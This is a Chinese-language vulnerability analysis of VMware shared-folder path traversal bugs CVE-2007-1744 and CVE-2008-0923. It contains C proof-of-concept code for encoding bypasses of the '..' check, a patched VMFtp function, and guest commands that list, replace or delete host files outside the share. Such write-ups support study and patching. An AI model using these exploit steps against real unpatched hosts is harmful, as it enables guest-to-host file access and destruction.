| 一 名詞定義 Host機:運行VMware軟件的真實(shí)主機; Guest機:裝在VMware軟件中的虛擬系統; 后門(mén):VMware有一套自己專(zhuān)有的“Backdoor I/O Port”指令,Host和Guest之間的所有數據都是通過(guò)一個(gè)固定的IO端口,使用in和out指令來(lái)進(jìn)行傳遞,Guest就是通過(guò)這個(gè)端口發(fā)命令讓Host幫助它完成某些自身不能完成的工作。 二 漏洞背景 理論上來(lái)說(shuō),可以認為Host機和Guest機是兩臺不同的電腦,只不過(guò)它們是共享同一套真實(shí)的物理硬件,這樣就帶來(lái)一個(gè)問(wèn)題,即如何在Host和Guest之間傳輸數據, VMware的共享文件夾就是解決該問(wèn)題的一個(gè)很實(shí)用功能,不需要設置任何網(wǎng)絡(luò ),就可以在Host和Guest機器間互相傳輸文件。至于怎么設置共享文件夾,不是本文的重點(diǎn),就不多說(shuō)了,不熟悉的建議Google一下先。 在安裝完VMware Tools后,會(huì )在Guest機上看到一個(gè)名為Hgfs.sys的文件,這個(gè)驅動(dòng)文件實(shí)現了一個(gè)虛擬的文件系統,這個(gè)虛擬文件系統的根目錄就是\\.host,當你在Guest機上進(jìn)入任何共享文件夾的目錄時(shí),可以看到路徑都是以\\.host開(kāi)始的,在這個(gè)目錄下的所有操作都將通過(guò)后門(mén)傳遞給運行在Host上的VMware主程序。舉例來(lái)說(shuō):在Host機上有個(gè)目錄是:E:\Debug\Share,把這個(gè)目錄設置為Guest系統的共享目錄后,VMware會(huì )記錄下這個(gè)目錄所對應的Host路徑是E:\Debug\Share,當在Guest機的“運行”對話(huà)框中輸入:\\.host\Shared Folders\Share,就會(huì )在Guest上打開(kāi)E:\Debug\Share這個(gè)目錄。這個(gè)過(guò)程是通過(guò)后門(mén)完成的,Guest把“遍歷目錄“命令傳遞給Host,Host上的VMware主程序找到該目錄對應關(guān)系,通過(guò)API函數遍歷E:\Debug\Share目錄,把得到的數據通過(guò)后門(mén)返回給Guest,最后Guest上就列出了Share目錄下的所有文件。 三 漏洞描述 現在就到了本文所要說(shuō)的重點(diǎn)了。我們知道,當Guest位于\\.host\Shared Folders\Share目錄下時(shí),Guest執行命令“dir”,就相當于要求Host機執行“dir E:\Debug\Share”,沒(méi)有問(wèn)題。那再讓Guest執行命令“dir ..”,會(huì )發(fā)生什么情況呢?如果是Host本身在執行這條命令,沒(méi)有問(wèn)題,自然會(huì )列出E:\Debug下的所有文件;但現在要求執行命令的是Guest,Host只設置了E:\Debug\Share這個(gè)目錄給Guest,自然是希望Guest只能看到這個(gè)目錄,而沒(méi)有權限看到它的父目錄,因此VMware會(huì )對含有“..”的路徑名作特別處理,處理的結果就是Guest上執行這條命令無(wú)效。 那么它的處理方法是什么呢?簡(jiǎn)單說(shuō)來(lái)是這樣的,VMware會(huì )對共享文件夾的路徑名進(jìn)行驗證,確認它不含有0x2e0x2e(翻譯為ASCII子字符就是“..”)字符串后,就會(huì )將其從多字節字符串轉換為寬字符字符串,然后將所生成的寬字符字符串傳送給Host上的系統文件API。這個(gè)轉換使用Windows API中的MultiByteToWideChar函數完成。該函數的原型如下: int MultiByteToWideChar ( UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar ); 這里只對dwFlags做簡(jiǎn)單解釋。 dwFlags:指定是否轉換成預制字符或合成的寬字符,對控制字符是否使用像形文字,以及怎樣處理無(wú)效字符。其中: MB_ERR_INVALID_CHARS:設置此選項,則函數遇到非法字符就失敗并返回錯誤碼ERROR_NO_UNICODE_TRANSLATION,否則丟棄非法字符。 正是由于對MultiByteToWideChar函數中dwFlags參數的錯誤使用,導致VMware共享文件夾先后出現了兩個(gè)漏洞,按時(shí)間順序是CVE-2007-1744和CVE-2008-0923。不過(guò)嚴格說(shuō)起來(lái),這并非是因為VMware開(kāi)發(fā)人員在使用MultiByteToWideChar函數時(shí)的編碼錯誤,而是由于這套驗證機制本身在邏輯上就存在一個(gè)漏洞。因為:驗證“..”字符串是在轉換輸入字符串之前執行的,因此只要Guest系統上的惡意程序或用戶(hù)提供的路徑名可以通過(guò)驗證,則在調用MultiByteToWideChar之后仍可能映射為包含有Unicode UTF-16版本的“..”字符串。 3.1 CVE-2007-1744 受影響版本: VMWare VMWare Workstation 5.5.3 build 34685 不受影響版本: VMWare VMWare Workstation 5.5.4 build 44386 這個(gè)漏洞的起因是dwFlags使用了默認值0,這意味著(zhù)在轉換過(guò)程中會(huì )忽略輸入的無(wú)效字符,因此可以很容易地構造出一個(gè)多字節字符串,輕松地繞過(guò)驗證,成為Unicode UTF-16版本的“..”。示例程序如下: #include <windows.h> int main(int argc, char* argv[]) { unsigned int ans; char utf8[] = { 0xc0,0x2e,0xc0,0x2e }; //0xc0是無(wú)效字符 wchar_t utf16[100] = { 0 }; UINT CodePage = CP_UTF8; ans = MultiByteToWideChar(CodePage, 0, (LPCSTR)&utf8, 4, (LPWSTR)utf16, 100); printf("utf16: %S\n", utf16); return 0; } 盡管0xc0是無(wú)效字符,但因為使用的的dwFlags值是0,所以MultiByteToWideChar函數會(huì )忽略它,而繼續轉換有效的字符0x2e,所以執行這個(gè)程序的輸出結果是:utf16: ..可見(jiàn),只要我們在輸入的路徑名中包含“0xc00x2e0xc00x2e”,那么就能夠通過(guò)VMware對0x2e0x2e的驗證,因此Host會(huì )去訪(fǎng)問(wèn)上層目錄,從而讓Guest看到不應該看到的東西。 3.2 CVE-2008-0923 受影響版本 VMWare Workstation 6.0.2 VMWare Workstation 5.5.4 VMWare Player 2.0.2 VMWare Player 1.0.4 VMWare ACE 2.0.2 VMWare ACE 1.0.2 不受影響版本: VMWare Workstation 6.0.3 VMWare Workstation 5.5.6 VMWare Player 2.0.3 VMWare Player 1.0.5 VMWare ACE 2.0.3 VMWare ACE 1.0.5 VMWare ESX VMWare Server 由于上個(gè)漏洞中dwFlags參數簡(jiǎn)單使用了默認值0,導致無(wú)效字符也能夠順利通過(guò)轉換,因此VMware的更新版本中將dwFlags參數的值修改為MB_ERR_INVALID_CHARS,這個(gè)宏的整數值是8。這樣一來(lái),像上面使用過(guò)的“0xc00x2e0xc00x2e”字符串,由于包含了無(wú)效字符,就會(huì )導致MultiByteToWideChar函數調用失敗了。那么,我們有沒(méi)有辦法構造出一個(gè)有效的多字節字符序列,而又能成功轉換為Unicode UTF-16版本的“..”呢?試一試就知道了,還是讓程序來(lái)幫忙吧。測試程序如下: #include <windows.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char* argv[]) { unsigned int i, ans; unsigned char buf[200]; UINT CodePage = CP_UTF8; for (i=1; i; i++) { memset(buf, 0, 200); ans = MultiByteToWideChar(CodePage, MB_ERR_INVALID_CHARS, //8 (LPCSTR)&i, 4, (LPWSTR)buf, 100); if (ans && (buf[0] == '.') && (buf[1] == 0) && ((i & 0xff) != '.')) { printf("%d %04x: %02x %02x %02x %02x\n", ans, i, buf[0], buf[1], buf[2], buf[3]); getchar(); // 找到后讓程序暫停一下 } } return 0; } 很快就能找到第1個(gè)字符序列是“0xc20x2e0xc20x2e”,也就是說(shuō)它能夠通過(guò)驗證,并且成功地轉換為Unicode UTF-16版本的“..”。 四 漏洞利用 現在,這兩個(gè)漏洞的形成原因及利用原理已經(jīng)清楚了,可是怎么樣在VMware中利用呢?首先我們必須在路徑名中包含這些字符,但這些字符又并非可輸入字符,并且還不能經(jīng)過(guò)Guest系統的Shell處理,而必須直接傳遞給后門(mén)才行,所以我們有兩種辦法可以選擇: 1)直接調用VMware的后門(mén)指令,實(shí)現一個(gè)簡(jiǎn)單的“VMware Tools”,將“遍歷目錄”命令傳遞給Host,但是這就要求熟悉后門(mén)指令,而且調用過(guò)程很繁瑣; 2)利用網(wǎng)上現有資源。VM Back Project是個(gè)極好的開(kāi)放源代碼工程,支持多種平臺,在Windows平臺上直接用VC6就能編譯,它實(shí)現了一套直接調用VMware后門(mén)指令的命令行工具,并且里面列出了VMware所有已知的后門(mén)指令。其中VMFtp是一個(gè)實(shí)用的命令行程序,從名字可以猜到,它模擬了一個(gè)FTP程序,不過(guò)這個(gè)FTP只限于在Host和Guest之間傳遞文件。 為避繁就簡(jiǎn),我們以VMFtp為例,講解第2個(gè)漏洞CVE-2008-0923的利用方法。在Guest機上啟動(dòng)VMFtp.exe,默認就進(jìn)入了共享文件夾,輸入“l(fā)s”命令(相當于“dir”),將會(huì )列出所有的共享目錄;假設當前有一個(gè)目錄名為Share,那么運行“cd Share”,就會(huì )進(jìn)入Share目錄;再輸入“l(fā)s”命令,就會(huì )列出Share目錄下的所有文件;現在再輸入“l(fā)s ..”顯示上層目錄,仍然是只能看到我們定義了的共享目錄,可見(jiàn)在正常情況下VMware屏蔽了包含“0x2e0x2e”的路徑?,F在我們對VMFtp進(jìn)行改造,把源代碼vmw/src/vmshf.c中的函數ReplaceDelim修改為如下: static void ReplaceDelim(char *str, uint32_t length, char delim) { while (length--) { if (*(str + length) == '\0' || *(str + length) == '/' || *(str + length) == '\\') { *(str + length) = delim; } if (*(str + length) == '+') *(str + length) = '\xc2'; } } 修改的目的就是要讓VMFtp將我們輸入的字符“+”自動(dòng)替換為“0xc2”,重新編譯VMFtp后運行。進(jìn)入Share目錄,輸入“l(fā)s +.+./”,現在能看到什么呢?在Share的父目錄下所有文件就都列出來(lái)了,輸入“l(fā)s +.+./+.+.”,則更上一層目錄的文件又都列出來(lái)了,再比如輸入“l(fā)s +.+./+.+./soft”之類(lèi)的路徑,以此類(lèi)推,這樣Share目錄所在整個(gè)分區的文件都在Guest機上一覽無(wú)遺了,而且還能做替換、刪除文件等操作。VMFtp在我的VMware 6.0.2中的Guest運行的情況如下所示: 如果這個(gè)共享目錄是設在系統盤(pán)(如C盤(pán))的話(huà),則Host機上所有的系統文件都可以被Guest上的用戶(hù)或攻擊程序所任意操作,可見(jiàn)這個(gè)漏洞的危害還是很大的,解決辦法是安裝目前最新版本的VMware或者禁用共享文件夾(默認情況下為啟用)。 五 動(dòng)態(tài)調試 最后再簡(jiǎn)單說(shuō)一下動(dòng)態(tài)調試這個(gè)漏洞的方法,用OllyICE附加上正在運行的vmware-vmx.exe,然后下Kernel32.MultiByteToWideChar斷點(diǎn),因為MultiByteToWideChar是被VMware頻繁使用的函數,所以最好用條件斷點(diǎn),可以根據輸入字符串的長(cháng)度來(lái),我使用的條件是:eax>6&&eax<15,熟悉OllyICE的話(huà)可以根據實(shí)際運行情況作調整。在調試狀態(tài)下運行上面所說(shuō)的命令,就能看到MultiByteToWideChar轉換前和轉換后的狀態(tài)了。如下所示: 轉換前的狀態(tài): 轉換后的狀態(tài): 附件中包含已經(jīng)修改過(guò)的VMFtp.exe,可以直接在VMware 6.0.2及以前的版本上測試。 VMFtp的源代碼下載:http://chitchat.at.infoseek.co.jp/vmware/vmw-060510.zip。 六 參考資料 1 漏洞發(fā)現者:coresecurity公司的論文。 http://www.coresecurity.com/content/advisory-vmware 2 VM Back Project http://chitchat.at.infoseek.co.jp/vmware/ |
聯(lián)系客服